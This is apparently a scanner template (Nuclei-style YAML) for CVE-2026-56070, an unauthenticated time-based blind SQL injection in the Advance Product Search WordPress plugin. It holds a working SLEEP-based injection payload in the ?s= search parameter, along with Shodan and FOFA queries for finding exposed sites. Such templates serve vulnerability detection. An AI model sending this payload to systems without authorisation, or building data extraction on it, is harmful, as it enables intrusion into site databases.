id: CVE-2026-56070

info:
  name: Advance Product Search <= 1.4.4 - Unauthenticated Time-Based Blind SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: critical
  description: |
    Advance Product Search 1.4.4 and earlier is vulnerable to unauthenticated time-based blind SQL injection. The plugin rebuilds the WordPress search SQL by hand and uses $wpdb->esc_like() which escapes LIKE wildcards but not single quotes, allowing injection through the ?s= parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Update to the latest version beyond 1.4.4.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56070
    - https://patchstack.com/database/wordpress/plugin/th-advance-product-search/vulnerability/wordpress-advance-product-search-plugin-1-4-4-sql-injection-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-56070
    epss-score: 0.01438
    epss-percentile: 0.7323
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: th-advance-product-search
    product: advance-product-search
    shodan-query: 'http.html:"wp-content/plugins/th-advance-product-search/"'
    fofa-query: 'wp-content/plugins/th-advance-product-search/'
  tags: cve,cve2026,wordpress,wp-plugin,th-advance-product-search,sqli,time-based-sqli

http:
  - raw:
      - |
        @timeout: 10s
        GET /?s=x%27%20OR%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))a)%20OR%20%271%27%3D%271 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, "wp-content/plugins/th-advance-product-search")
          - status_code == 200
          - duration >= 6
        condition: and
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